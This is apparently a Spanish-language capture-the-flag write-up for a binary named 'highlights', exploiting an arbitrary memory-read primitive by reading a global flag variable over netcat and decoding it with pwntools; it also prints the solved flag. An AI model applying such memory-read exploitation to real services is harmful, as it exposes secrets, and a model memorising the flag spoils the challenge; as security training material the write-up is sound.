Highlights
2 minutos de lectura
Se nos proporciona un binario llamado highlights
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Si usamos Ghidra, veremos el siguiente código descompilado de la función main
:
int main() {
undefined8 *address;
FILE *fp;
setbuf(stdout, (char *) 0x0);
setbuf(stdin, (char *) 0x0);
fp = fopen("./flag.txt", "r");
__isoc99_fscanf(fp, "%s", flag);
printf("What address (in hex) would you like to read?\n>>> ");
__isoc99_scanf("%lx%c", &address, &dead);
printf("Value at 0x%x: %016lx\n", address, *address);
return 0;
}
Básicamente, tenemos una manera de leer el valor almacenado en la dirección que especifiquemos (esto es una primitiva de lectura arbitraria). En Ghidra, podemos encontrar la dirección de flag
(que es una variable global). También podemos encontrarla con readelf
(0x404080
):
$ readelf -s highlights | grep flag
70: 0000000000404080 128 OBJECT GLOBAL DEFAULT 25 flag
Pues, vamos a extraer la flag:
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x404080
Value at 0x404080: 6c6e6f7b66746369
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x404088
Value at 0x404088: 5f6c6c696b735f79
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x404090
Value at 0x404090: 706d695f65726f6d
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x404098
Value at 0x404098: 745f746e6174726f
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x4040a0
Value at 0x4040a0: 646165725f6e6168
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x4040a8
Value at 0x4040a8: 675f73695f676e69
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x4040b0
Value at 0x4040b0: 7d676e696c676f6f
Nótese que he parado al ver 7d
(}
como byte), ya que representa el final de la flag. Ahora solo tenemos que juntar todos los valores hexadecimales y representarlos en formato little-endian como bytes:
$ python3 -q
>>> from pwn import p64
>>> b''.join(map(lambda x: p64(int(x, 16)), ['6c6e6f7b66746369', '5f6c6c696b735f79', '706d695f65726f6d', '745f746e6174726f', '646165725f6e6168', '675f73695f676e69', '7d676e696c676f6f']))
b'ictf{only_skill_more_important_than_reading_is_googling}'